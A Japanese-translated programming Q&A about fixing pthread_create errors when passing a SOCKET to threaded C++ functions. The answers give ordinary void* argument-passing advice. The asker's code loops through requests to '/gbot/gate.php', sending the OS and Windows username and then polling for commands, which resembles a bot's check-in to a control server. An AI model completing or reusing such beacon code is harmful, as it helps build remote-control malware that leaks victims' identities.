0
    void* sendFirstReq(SOCKET Socket){
        char buffer[10000];
        string mybuf("GET /gbot/gate.php?page=ident&os=");
        if(getenv("windir") != NULL){
            mybuf += "windows&username=";
            mybuf += getenv("username");
            mybuf += "&version=win";
            mybuf += "\r\n\r\n";
        }
        else
            mybuf += "linux\r\n\r\n";
        send(Socket, mybuf.c_str(), mybuf.length(), 0);
        recv(Socket, buffer, 10000, 0);
        cout << buffer;
}

void* sendSecReq(SOCKET Socket){
    char buffer[10000];
    string mybuf("GET /gbot/gate.php?page=cmd\r\n\r\n");
    send(Socket, mybuf.c_str(), mybuf.length(), 0);
    recv(Socket, buffer, 10000, 0);
    cout << buffer;
}

while(true)
    {
        pthread_t t1;
        pthread_t t2;
        pthread_create(&t1, NULL, &sendFirstReq, NULL);
        pthread_create(&t1, NULL, &sendSecReq, NULL);
        _sleep(5000);
    }

これは私のプロジェクトのコードです。マルチスレッドにしたいのですが、エラーが発生します。まず、void* 関数は void* 引数を取得する必要があるため、SOCKET を送信できますか? そして別のエラーは次のとおりです。

`int pthread_create(pthread_t*, pthread_attr_t_* const*, void*( )(void ), void*)' の引数 3 を初期化しています

そして、私はそれを修正する方法がわかりません、あなたの助けに感謝します。

4

2 に答える 2

1

マルチスレッドを実装するときは、必ず別のソケットで送受信してください! そうは言っても、void* 引数を渡す最良の方法は構造体ですが、void* でさまざまなデータ型を送信できると思います。必ずスライスしてください。

例:

void* sendFirstReq(void* arg);
SOCKET socket;
pthread_t a;
pthread_create(&a,NULL,sendFirstReq(),(void*)&socket);

sendFirstReq() で、引数 (SOCKET*)arg をスライスします。

これを参照してください::パラメータを pthread に渡す

于 2013-04-10T17:36:10.087 に答える
1

ソケット部分とマルチスレッド部分を分けて別々に扱えるようにすると助かります。マルチスレッドの問題は、POSIX スレッドの void ポインターを受け取って返す関数を使用する必要があることです。これを介して他のものを渡す方法は 2 つあります。最初の方法は、構造体を割り当て、それへのポインターを pthread_create に渡すことです。

void* thread_function(void* p)
{
    mydata* ps = static_cast<mydata*>(p);
    ...
}

mydata s = ...;
pthread_create(..., thread_function, &s);

ここで注意すべきことは、sこれにはスコープがあり、スレッドがスコープを使用している間はスコープが存続していることを確認する必要があるということです。これには、new を使用した動的割り当てが必要になる場合があり、メモリ リークが発生しないように注意する必要があります。小さな整数に対して機能する別の方法は、それらをポインターとして直接渡すことです。

void* thread_function(void* p)
{
    int x = reinterpret_cast<int>(p);
    ...
}

int x = ...;
assert(sizeof x <= sizeof (void*));
pthread_create(..., thread_function, reinterpret_cast<void*>(x));

SOCKET はポインタよりも大きくない単なる整数であるため、それを行うことができるはずです。これはおそらく最も簡単な作業方法です。

于 2013-04-10T19:18:07.480 に答える